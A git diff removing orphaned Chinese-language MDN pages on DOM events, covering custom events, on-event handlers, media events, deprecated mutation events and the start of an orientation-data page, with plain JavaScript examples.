Explorer 例外)。 要了解更为复杂的方法,可参考下面的 </span><a href="#The_old-fashioned_way" style="line-height: 1.5;" title="#过时的方式">过时的方式</a><span style="line-height: 1.5;"> 一节。</span></p> - -<h3 id="添加自定义数据_–_CustomEvent">添加自定义数据 – CustomEvent()</h3> - -<p>要向事件对象添加更多数据,可以使用 <a href="/zh-CN/docs/Web/API/CustomEvent">CustomEvent</a> 接口,detail 属性可用于传递自定义数据。<br> - 例如,event 可以创建如下:</p> - -<pre class="brush: js">var event = new CustomEvent('build', { 'detail': elem.dataset.time });</pre> - -<p><span style="line-height: 1.5;">下面的代码允许你在事件监听器中访问更多的数据:</span></p> - -<pre class="brush: js">function eventHandler(e) { - log('The time is: ' + e.detail); -} -</pre> - -<h3 id="过时的方式">过时的方式</h3> - -<p>早期的创建事件的方法使用了受Java启发的API。下面展示了一个示例:</p> - -<pre class="brush: js">// Create the event. -var event = document.createEvent('Event'); - -// Define that the event name is 'build'. -event.initEvent('build', true, true); - -// Listen for the event. -document.addEventListener('build', function (e) { - // e.target matches document from above -}, false); - -// target can be any Element or other EventTarget. -document.dispatchEvent(event); -</pre> - -<h3 id="事件冒泡">事件冒泡</h3> - -<p>通常需要从子元素触发事件,并让祖先捕获它:</p> - -<pre class="brush: html"><form> - <textarea></textarea> -</form></pre> - -<pre class="brush: js">const form = document.querySelector('form'); -const textarea = document.querySelector('textarea'); - -// Create a new event, allow bubbling, and provide any data you want to pass to the "details" property -const eventAwesome = new CustomEvent('awesome', { - bubbles: true, - detail: { text: () => textarea.value } -}); - -// The form element listens for the custom "awesome" event and then consoles the output of the passed text() method -form.addEventListener('awesome', e => console.log(e.detail.text())); - -// As the user types, the textarea inside the form dispatches/triggers the event to fire, and uses itself as the starting point -textarea.addEventListener('input', e => e.target.dispatchEvent(eventAwesome));</pre> - -<h3 id="动态创建和派发事件">动态创建和派发事件</h3> - -<p>元素可以侦听尚未创建的事件:</p> - -<pre class="brush: html"><code><form> - <textarea></textarea> -</form></code></pre> - -<pre class="brush: js">const form = document.querySelector('form'); -const textarea = document.querySelector('textarea'); - -form.addEventListener('awesome', e => console.log(e.detail.text())); - -textarea.addEventListener('input', function() { - // Create and dispatch/trigger an event on the fly - // Note: Optionally, we've also leveraged the "function expression" (instead of the "arrow function expression") so "this" will represent the element - this.dispatchEvent(new CustomEvent('awesome', { bubbles: true, detail: { text: () => textarea.value } })) -});</pre> - - - -<h2 id="触发内置事件">触发内置事件</h2> - -<p>下面的例子演示了一个在复选框上点击(click)的模拟(就是说在程序里生成一个click事件),这个模拟点击使用了DOM方法。<a href="http://developer.mozilla.org/samples/domref/dispatchEvent.html">参见这个动态示例</a></p> - -<pre class="brush: js">function simulateClick() { - var event = new MouseEvent('click', { - 'view': window, - 'bubbles': true, - 'cancelable': true - }); - var cb = document.getElementById('checkbox'); - var cancelled = !cb.dispatchEvent(event); - if (cancelled) { - // A handler called preventDefault. - alert("cancelled"); - } else { - // None of the handlers called preventDefault. - alert("not cancelled"); - } -} -</pre> - -<h2 id="Browser_compatibility" name="Browser_compatibility">参见</h2> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent">CustomEvent()</a></li> - <li>{{domxref("document.createEvent()")}}</li> - <li>{{domxref("Event.initEvent()")}}</li> - <li>{{domxref("EventTarget.dispatchEvent()")}}</li> - <li>{{domxref("EventTarget.addEventListener()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/guide/events/event_handlers/index.html b/files/zh-cn/orphaned/web/guide/events/event_handlers/index.html deleted file mode 100644 index 52471bde8e..0000000000 --- a/files/zh-cn/orphaned/web/guide/events/event_handlers/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: DOM 事件回调 -slug: orphaned/Web/Guide/Events/Event_handlers -translation_of: Web/Guide/Events/Event_handlers -original_slug: Web/Guide/Events/Event_handlers ---- -<h2 id="概要">概要</h2> - -<p>Web平台提供了多种方式来获取 <a href="https://developer.mozilla.org/zh-CN/docs/Web/Events">DOM events</a> 的通知。两种常见的风格是:广义 {{domxref("EventTarget.addEventListener", "addEventListener()")}} 和一组特定的<em><strong>on-event</strong></em>处理器。本页重点介绍后者如何工作的细节。</p> - -<h3 id="注册on-event_处理器">注册<em>on-event</em> 处理器</h3> - -<p><em><strong>on-event </strong></em>处理器是由DOM元素提供的一组属性,以帮助管理元素如何对事件反应。元素可以使可交互性的(例如链接,按钮,图像,表单)或者非可交互的(比如基本文档本身等)。事件是异性行为,像点击,检测到按下按键,获得焦点等。<em><strong>on-event </strong></em>事件通常被相应地命名,诸如onclick,onkeypress,onfocus等。</p> - -<p>你可以为一个给定的对象的某个特定事件(比如{{event("click")}})指定一个 <code>on<...></code> 事件处理器,使用以下几种不同的方式:</p> - -<ul> - <li>在元素上使用 HTML {{Glossary("attribute")}} <code>on<em>{eventtype}</em></code> ,例如:<br> - <code><button <u>onclick="return handleClick(event);"</u>></code>,</li> - <li>或者通过 JavaScript 设置相应的属性( {{Glossary("property/JavaScript", "property")}}),例如:<br> - <code>document.getElementById("mybutton")<u>.onclick = function(event) { ... }</u></code>.</li> -</ul> - -<p>注意,每个对象对于给定的事件<strong>只能有一个</strong>事件处理器(尽管该处理程序可以调用多个子处理器)。这就是为什么{{domxref("EventTarget.addEventListener", "addEventListener()")}} 通常是获得事件通知的更好方法,特别是当你希望彼此独立地应用各种事件处理程序时,即使对于相同的事件和/或相同的元素也是如此。</p> - -<p>还要注意,事件处理器是自动调用的,而不是程序员的意志(尽管你可以使用像 <code>mybutton.onclick(myevent); )。</code>因为它们更多地用作可以<strong>分配</strong>真实处理器函数的占位符。</p> - -<h3 id="非元素对象">非元素对象</h3> - -<p>事件处理器也可以使用属性设置在生成事件的许多非元素对象上, 包括{{ domxref("window") }}, {{ domxref("document") }}, {{ domxref("XMLHttpRequest") }}, 和其他等等,例如:</p> - -<pre><code>xhr.onprogress = function() { ... }</code></pre> - -<h2 id="细节">细节</h2> - -<h3 id="HTML的_on<...>_属性值_和相应JavaScript">HTML的 on<...> 属性值 和相应JavaScript</h3> - -<p>通过 on<...> 元素属性注册的处理程序将通过相应的 on<...> 对象属性可用,相反,则不可用:</p> - -<pre><code><div id="a" onclick="alert('old')">Open the Developer Tools Console to see the output.</div> - -<script> -window.onload = function () { - var div = document.getElementById("a"); - console.log("Attribute reflected as a property: ", div.onclick.toString()); - // Prints: function onclick(event) { alert('old') } - div.onclick = function() { alert('new') }; - console.log("Changed property to: ", div.onclick.toString()); - // Prints: function () { alert('new') } - console.log("Attribute value is unchanged: ", div.getAttribute("onclick")); - // Prints: alert('old') -} -</script></code></pre> - -<p>由于历史原因,{{HTMLElement("body")}} 和 {{HTMLElement("frameset")}} 元素中的某些元素属性/对象属性实际上是在其父 {{domxref("Window")}} 对象上设置了事件处理器(这些 HTML 命名: <code>onblur</code>, <code>onerror</code>, <code>onfocus</code>, <code>onload</code>, <code>onscroll</code>.)。</p> - -<h3 id="事件处理器的参数,this_绑定和返回值">事件处理器的参数,<code>this</code> 绑定和返回值</h3> - -<p>当事件处理程序被指定为 <strong>HTML 属性</strong>,指定的代码被包装在有 <strong>以下参数 </strong>的函数中:</p> - -<ul> - <li><code>event</code> - 对于所有的事件处理器,除了 {{domxref("GlobalEventHandlers.onerror", "onerror")}}.</li> - <li><code>event</code>, <code>source</code>, <code>lineno</code>, <code>colno</code>, and <code>error</code> 对于 {{domxref("GlobalEventHandlers.onerror", "onerror")}} 事件处理器。注意,<code>event</code> 参数实际上包含字符串的错误消息。</li> -</ul> - -<p>当事件处理器被调用,事件处理器内部的 <code>this</code> 关键字被设置为注册该事件处理器的 DOM 元素。更多信息查看 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this#In_an_in%E2%80%93line_event_handler">this 关键字文档</a><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this#In_an_in%E2%80%93line_event_handler"> </a>.</p> - -<p>事件处理器的返回值决定了事件是否被取消。返回值的具体处理方式取决于事件的类型,更多信息查看 <a href="https://html.spec.whatwg.org/multipage/webappapis.html#the-event-handler-processing-algorithm">"The event handler processing algorithm" in the HTML specification</a>.</p> - -<h3 id="什么时候调用事件处理程序">什么时候调用事件处理程序</h3> - -<p>TBD (non-capturing listener)</p> - -<h3 id="术语">术语 </h3> - -<p>术语 <strong>事件处理器(event handler)</strong> 可用于指:</p> - -<ul> - <li>注册的事件通知的任何函数或对象,</li> - <li>或更具体地说,是通过HTML中的 <code>on... </code>属性或web API中的属性来注册事件监听器的机制,例如 <code><button onclick="alert(this)"> </code>或 <code>window.onload = function() { /* ... */ }</code>。</li> -</ul> - -<p>在讨论各种监听事件的方法时:</p> - -<ul> - <li> <strong>事件侦听器(event listener)</strong>是指通过 {{domxref("EventTarget.addEventListener()")}} 注册的函数或对象,</li> - <li>而<strong>事件处理器(event handler)</strong>是指通过 <code>on...</code> 属性注册的函数。</li> -</ul> - -<h2 id="Specifications" name="Specifications">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'webappapis.html#event-handler-attributes', 'event handlers')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', 'webappapis.html#event-handler-attributes', 'event handlers')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_Compatibility" name="Browser_Compatibility">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - </tr> - </tbody> -</table> -</div> - -<h3 id="Firefox_9中的事件处理器的变动">Firefox 9中的事件处理器的变动</h3> - -<p>为了更好地匹配规范,并提高跨浏览器兼容性,在Gecko 9.0 {{ geckoRelease("9.0") }} 中更改了基本级别事件处理器的实现方式。</p> - -<p>具体来说,在过去,事件处理器没有被正确地实现为标准的IDL属性。在 Gecko 9.0,这一点被改变。因此,Gecko的事件处理程序的某些行为已经改变。特别地,它们现在含有为标准IDL属性行为的所有特性。在大多数情况下,这不应该影响网页或附加内容。然而,还有一些具体的事情需要注意。</p> - -<h4 id="检测事件处理程序属性的存在">检测事件处理程序属性的存在</h4> - -<p>你可以使用 JavaScript 的 <code><a href="https://developer.mozilla.org/en-US/JavaScript/Reference/Operators/in" title="en/JavaScript/Reference/Operators/in">in</a> </code>运算符来检测事件处理器属性(例如,onload)的存在。例如:</p> - -<pre class="brush: js">if ("onsomenewfeature" in window) { - /* do something amazing */ -} -</pre> - -<h4 id="事件处理程序和原型">事件处理程序和原型</h4> - -<p>您不能设置或访问DOM原型对象上任何IDL定义的属性的值,这意味着您不能更改 <code>Window.prototype.onload</code>。在过去,事件处理程序(onload等)没有被实现为Gecko中的IDL属性,所以可以这样做,而现在你不能这样做,这提高了兼容性。</p> diff --git a/files/zh-cn/orphaned/web/guide/events/index.html b/files/zh-cn/orphaned/web/guide/events/index.html deleted file mode 100644 index 1addfdd634..0000000000 --- a/files/zh-cn/orphaned/web/guide/events/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Event developer guide -slug: orphaned/Web/Guide/Events -tags: - - DOM - - Event - - Guide - - NeedsTranslation - - NeedsUpdate - - TopicStub -translation_of: Web/Guide/Events -original_slug: Web/Guide/Events ---- -<p>{{draft()}}</p> - -<p>事件(Event)是指一种用于处理在网页的生命周期中发生的各种事件的异步调用的设计模式,也指一些不同种类事件的命名、描述和使用。</p> - -<p>在 <a href="/en-US/docs/Web/Guide/API/DOM/Events/Overview_of_Events_and_Handlers">概述</a> 中提供了对设计模式的介绍和现代Web浏览器中事件和处理程序的概述。</p> - -<p>在 <a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">自定义事件</a> 中介绍了如何创建自定义事件、注册监听自定义事件和如何在代码中触发自定义事件</p> - -<p>接下来的内容描述了如何在Web浏览器中使用不同类型的事件。不幸的是,这些事件是随着Web浏览器的发展逐一定义的,所以,目前还没有一个令人满意的系统描述。</p> - -<p><strong>设备</strong>可以在Web浏览器运行时触发事件,例如,由于其在现实世界中的位置和方向的变化,在 <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> 和 <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a> 被讨论,这与设备垂直方向的变化是不同的,但是类似的。</p> - -<p>浏览器显示的 <strong>窗口</strong> 也可以触发事件, 例如,如果用户最大化窗口或以其他方式更改窗口大小。</p> - -<p>网页的<strong>进程加载</strong>可以触发事件,响应下载,解析和呈现网页给用户的不同步骤的完成状态。</p> - -<p>用户与网页内容的<strong>交互</strong>可能触发事件。用户交互触发的事件在浏览器设计的早期阶段发生,包括一个复杂的系统,定义了事件将被调用的顺序以及该序列可以被控制的方式。不同类型的用户交互驱动的事件包括:</p> - -<ul> - <li>原始的 'click' 事件,</li> - <li>鼠标事件,</li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Events/Mouse_gesture_events"><font><font>鼠标手势事件</font></font></a><font><font>,和</font></font></li> - <li><font><font>这两个</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Events/Touch_events"><font><font>触摸事件</font></font></a><font><font>和早些时候</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Events/Touch_events_(Mozilla_experimental)"><font><font>Mozilla的实验性触摸事件</font></font></a><font><font>,现在已废弃。</font></font></li> -</ul> - -<p> </p> - -<p><font><font>该</font></font><strong><font><font>网页的修改</font></font></strong><font><font>结构或内容可能会引发一些事件,如解释的</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events"><font><font>突变事件页</font></font></a><font><font>,但使用这些事件也有利于较轻的被弃用</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver"><font><font>突变观察员</font></font></a><font><font>的做法。</font></font></p> - -<p><font><font>嵌入在HTML文档中</font><font>的</font></font><strong><font><font>媒体流</font></font></strong><font><font>可能会触发某些事件,如</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Events/Media_events"><font><font>媒体事件</font></font></a><font><font>页面中所述。</font></font></p> - -<p>网页发出的<strong>网络请求</strong>可能会触发一些事件。</p> - -<p>还有许多网页浏览器定义的其他事件还不包括在本指南中。</p> - -<div class="note"> -<p>注意: 本是件开发指南还需要大量的工作,结构需要重新组织,页面重写。我们希望你所需要知道的一切事情都会在这里。</p> -</div> - -<h2 id="Docs">Docs</h2> - -<p>{{LandingPageListSubpages}}</p> diff --git a/files/zh-cn/orphaned/web/guide/events/media_events/index.html b/files/zh-cn/orphaned/web/guide/events/media_events/index.html deleted file mode 100644 index 00bb7bfba4..0000000000 --- a/files/zh-cn/orphaned/web/guide/events/media_events/index.html +++ /dev/null @@ -1,227 +0,0 @@ ---- -title: 媒体相关事件 -slug: orphaned/Web/Guide/Events/Media_events -tags: - - Audio - - Media - - Video -translation_of: Web/Guide/Events/Media_events -original_slug: Web/Guide/Events/Media_events ---- -<p>在处理用{{ HTMLElement("audio") }} 和 {{ HTMLElement("video") }}标签嵌入到HTML文档中的媒体时,会触发多种事件。本章列出这些事件,并给出一些使用方法。</p> - -<table class="standard-table"> - <tbody> - <tr> - <th>事件名称</th> - <th>描述</th> - </tr> - <tr> - <td><code>abort</code></td> - <td> 在播放被终止时触发,例如, 当播放中的视频重新开始播放时会触发这个事件。</td> - </tr> - <tr> - <td><code>canplay</code></td> - <td>在媒体数据已经有足够的数据(至少播放数帧)可供播放时触发。这个事件对应CAN_PLAY的readyState。</td> - </tr> - <tr> - <td><code>canplaythrough</code></td> - <td>在媒体的readyState变为CAN_PLAY_THROUGH时触发,表明媒体可以在保持当前的下载速度的情况下不被中断地播放完毕。注意:手动设置currentTime会使得firefox触发一次canplaythrough事件,其他浏览器或许不会如此。</td> - </tr> - <tr> - <td><code>durationchange</code></td> - <td>元信息已载入或已改变,表明媒体的长度发生了改变。例如,在媒体已被加载足够的长度从而得知总长度时会触发这个事件。</td> - </tr> - <tr> - <td><code>emptied</code></td> - <td>媒体被清空(初始化)时触发。</td> - </tr> - <tr> - <td><code>ended</code></td> - <td>播放结束时触发。</td> - </tr> - <tr> - <td><code>error</code></td> - <td>在发生错误时触发。元素的error属性会包含更多信息。参阅 <a href="/en-US/docs/Web/API/HTMLMediaElement/error">HTMLMediaElement.error</a> 获得详细信息。</td> - </tr> - <tr> - <td><code>interruptbegin</code></td> - <td>声音在Firefox OS设备中断时触发,可能是应用程序被切换至后台或者更高优先级的应用占用了音频通道。 相关信息请参考 <a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></td> - </tr> - <tr> - <td><code>interruptend</code></td> - <td>声音在Firefox OS设备中断后恢复播放时触发,应用程序被切换至前台或占用更高级音频通道的应用程序播放完毕后触发。相关信息请参考 <a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></td> - </tr> - <tr> - <td><code>loadedmetadata</code></td> - <td>媒体的元数据已经加载完毕,现在所有的属性包含了它们应有的有效信息。</td> - </tr> - <tr> - <td><code>loadstart</code></td> - <td>在媒体开始加载时触发。</td> - </tr> - <tr> - <td><code>mozaudioavailable</code></td> - <td>当音频数据缓存并交给音频层处理时</td> - </tr> - <tr> - <td><code>pause</code></td> - <td>播放暂停时触发。</td> - </tr> - <tr> - <td><code>play</code></td> - <td>在媒体回放被暂停后再次开始时触发。即,在一次暂停事件后恢复媒体回放。</td> - </tr> - <tr> - <td><code>playing</code></td> - <td>在媒体开始播放时触发(不论是初次播放、在暂停后恢复、或是在结束后重新开始)。</td> - </tr> - <tr> - <td><code>progress</code></td> - <td>告知媒体相关部分的下载进度时周期性地触发。有关媒体当前已下载总计的信息可以在元素的buffered属性中获取到。</td> - </tr> - <tr> - <td><code>ratechange</code></td> - <td>在回放速率变化时触发。</td> - </tr> - <tr> - <td><code>seeked</code></td> - <td>在跳跃操作完成时触发。</td> - </tr> - <tr> - <td><code>seeking</code></td> - <td>在跳跃操作开始时触发。</td> - </tr> - <tr> - <td><code>stalled</code></td> - <td>在尝试获取媒体数据,但数据不可用时触发。</td> - </tr> - <tr> - <td><code>suspend</code></td> - <td>在媒体资源加载终止时触发,这可能是因为下载已完成或因为其他原因暂停。</td> - </tr> - <tr> - <td><code>timeupdate</code></td> - <td>元素的currentTime属性表示的时间已经改变。</td> - </tr> - <tr> - <td><code>volumechange</code></td> - <td>在音频音量改变时触发(既可以是volume属性改变,也可以是muted属性改变).。</td> - </tr> - <tr> - <td><code>waiting</code></td> - <td>在一个待执行的操作(如回放)因等待另一个操作(如跳跃或下载)被延迟时触发。</td> - </tr> - </tbody> -</table> - -<p>使用下面的代码,你可以很容易的观察到这些事件:</p> - -<pre class="brush: js notranslate">var v = document.getElementsByTagName("video")[0]; -v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true); -v.currentTime = 10.0; -</pre> - -<p>这个例子获取了文档中第一个video元素,并在video元素上监听了一个seeked事件,该事件会在跳跃操作完成后触发。监听器的处理函数就是简单的调用元素的play()方法,该方法会开始视频的播放。</p> - -<p>接下来来看例子的第三行,这里设置了元素的crruentTime特性值为10.0,这会初始化一个在媒体中跳跃(快进)到10s位置的操作。操作开始时会引起一个seeking事件,随后当跳跃操作完成时会触发seeked事件。</p> - -<p>换句话,本例中只要在媒体中跳跃到10s位置的操作完成,视频就会马上播放。</p> - -<h2 id="兼容性">兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatGeckoDesktop("1.9.1") }} (Prior to Gecko 2.0, media events bubbled.)</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - </tr> - <tr> - <td>load</td> - <td>{{ CompatUnknown() }}</td> - <td>Removed in {{ CompatGeckoDesktop("1.9.2") }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - </tr> - <tr> - <td>mozaudioavailable {{ non-standard_inline() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatGeckoDesktop("2.0") }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - <tr> - <td>suspend</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatGeckoDesktop("1.9.2") }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - </tr> - <tr> - <td>load</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - </tr> - <tr> - <td>mozaudioavailable {{ non-standard_inline() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatGeckoMobile("2.0") }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - <tr> - <td>suspend</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - </tr> - </tbody> -</table> -</div> diff --git a/files/zh-cn/orphaned/web/guide/events/mutation_events/index.html b/files/zh-cn/orphaned/web/guide/events/mutation_events/index.html deleted file mode 100644 index 732cb7614b..0000000000 --- a/files/zh-cn/orphaned/web/guide/events/mutation_events/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Mutation events -slug: orphaned/Web/Guide/Events/Mutation_events -translation_of: Web/Guide/Events/Mutation_events -original_slug: Web/Guide/Events/Mutation_events ---- -<p>{{deprecated_header()}}</p> - -<p><strong>Mutation 事件 </strong>为web页面提供一种机制或扩展,以便在DOM被改变时获得通知。<span style="background-color: #ffff00;">如果可能请用<a href="/en-US/docs/Web/API/MutationObserver" title="/en-US/docs/Web/API/MutationObserver">Mutation Observers</a>代替。</span></p> - -<h2 id="前言">前言</h2> - -<p id="Replacement.3A_mutation_observers">这个 mutation 事件在<a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-mutationevents">DOM Events 标准</a> 中已被列为反对使用 , 因为在API的设计中有缺陷 (详情见发表于 <span id="to"><a class="external" href="http://lists.w3.org/Archives/Public/public-webapps/2011JulSep/0779.html">public-webapps</a> 的</span>"DOM Mutation Events Replacement: The Story So Far / Existing Points of Consensus" <span id="to">)</span>. </p> - -<p><a href="/en-US/docs/Web/API/MutationObserver">Mutation Observers</a> 在DOM4中被提议用来取代mutation事件. 预计它们被列入 in Firefox 14 and <a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" title="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers">Chrome 18</a>中。</p> - -<p>避免用mutation事件的实际原因是<strong>性能问题</strong>和<strong>跨浏览器支持</strong>。</p> - -<h3 id="性能">性能</h3> - -<p>为DOM添加 mutation 监听器极度降低进一步修改DOM文档的性能(慢1.5 - 7倍),此外, 移除监听器不会逆转的损害。</p> - -<p>性能好坏 <a class="link-https" href="https://groups.google.com/forum/#!topic/mozilla.dev.platform/UH2VqFQRTDA" title="https://groups.google.com/forum/#!topic/mozilla.dev.platform/UH2VqFQRTDA">限制了文档拥有mutation事件监听</a>.</p> - -<h3 id="跨浏览器支持">跨浏览器支持</h3> - -<p>这些事件在不同的浏览器实现并不一致, 例如:</p> - -<ul> - <li>IE9之前的版本不支持mutation 事件而且在IE9版本中没有正确实现其中某些事件(<a class="external" href="http://help.dottoro.com/ljmcxjla.php" title="http://help.dottoro.com/ljmcxjla.php">例如, DOMNodeInserted</a>)</li> - <li>WebKit 不支持 DOMAttrModified (见 <a class="link-https" href="https://bugs.webkit.org/show_bug.cgi?id=8191" title="https://bugs.webkit.org/show_bug.cgi?id=8191">webkit bug 8191</a> 和 <a class="external" href="http://about.silkapp.com/page/Mutation%20Events:%20What%20Happen" title="http://about.silkapp.com/page/Mutation%20Events:%20What%20Happen">the workaround</a>)</li> - <li>"mutation name events", i.e. DOMElementNameChanged 和 DOMAttributeNameChanged 在Firefox中不被支持 (到 version 11), 可能其他浏览器也是这样.</li> - <li>...</li> -</ul> - -<p>Dottoro <a class="external" href="http://help.dottoro.com/ljfvvdnm.php#additionalEvents" title="http://help.dottoro.com/ljfvvdnm.php#additionalEvents">documents browser support for mutation events</a>.</p> - -<h2 id="Mutation_事件列表">Mutation 事件列表</h2> - -<p>下面是所有 mutation 事件列表, <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-mutationevents" title="http://www.w3.org/TR/DOM-Level-3-Events/#events-mutationevents">DOM Level 3 Events specification</a> 中定义的:</p> - -<ul> - <li><code>DOMAttrModified</code></li> - <li><code>DOMAttributeNameChanged</code></li> - <li><code>DOMCharacterDataModified</code></li> - <li><code>DOMElementNameChanged</code></li> - <li><code>DOMNodeInserted</code></li> - <li><code>DOMNodeInsertedIntoDocument</code></li> - <li><code>DOMNodeRemoved</code></li> - <li><code>DOMNodeRemovedFromDocument</code></li> - <li><code>DOMSubtreeModified</code></li> -</ul> - -<h2 id="使用">使用</h2> - -<p>你可以如下所示使用<a href="/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener">element.addEventListener</a> 注册一个mutation 事件监听器:</p> - -<pre><code>element.addEventListener("DOMNodeInserted", function (ev) {</code> - // ... -<code>}, false);</code> -</pre> - -<p>事件对象在 {{ domxref("MutationEvent") }}传递给监听器 (见 <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-MutationEvent" title="http://www.w3.org/TR/DOM-Level-3-Events/#events-MutationEvent">its definition in the specification</a>) 对于大多数的事件, 和 {{ domxref("MutationNameEvent") }} 用于 <code>DOMAttributeNameChanged</code> and <code>DOMElementNameChanged</code>.</p> diff --git a/files/zh-cn/orphaned/web/guide/events/orientation_and_motion_data_explained/index.html b/files/zh-cn/orphaned/web/guide/events/orientation_and_motion_data_explained/index.html deleted file mode 100644 index b3c1f357a0..0000000000 --- a/files/zh-cn/orphaned/web/guide/events/orientation_and_motion_data_explained/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Orientation 和 motion 数据解释 -slug: orphaned/Web/Guide/Events/Orientation_and_motion_data_explained -translation_of: Web/Guide/Events/Orientation_and_motion_data_explained -original_slug: Web/Guide/Events/Orientation_and_motion_data_explained ---- -<p>{{ Draft() }}</p> -<h2 id="总言" style="line-height: 30px; font-size: 2.14285714285714rem;">总言</h2> -<p>当我们要使用orientation和motion事件时,理解浏览器给我们的相关值是什么意思就显的相当重要了。这篇文章会详细介绍在用的坐标系统并会教你如何全用它们。</p> -<div class="warning" style="font-size: 14px;"> - <p><strong>警告:</strong> 目前, Firefox 和 Chrome 处理坐标的方式不同。 在使用它们的时候要多加注意.</p> -</div> -<h2 id="坐标系" style="line-height: 30px; font-size: 2.14285714285714rem;">坐标系</h2> -<p>坐标系是一种描述物体位置的系统,它包含三个轴(X,Y,Z),三个轴共同描述了物体相对于参照物的位置信息。当我们使用orientation和motion事件时会接触到两种坐标系统。</p> -<h3 id="地球坐标系" style="line-height: 24px; font-size: 1.71428571428571rem;">地球坐标系</h3> -<p>地球坐标系是相对于地心的,也就是说,它的轴是基于重力方向和磁场北方向。我们使用大写的X,Y,Z来描述地球坐标系的轴。</p> -<ul> - <li>X轴沿着地平面,垂直于Y轴,向东为正,向西为负。</li> - <li>Y轴沿着地平面,向北(北极,不是磁场北)为正,向南为负。</li> - 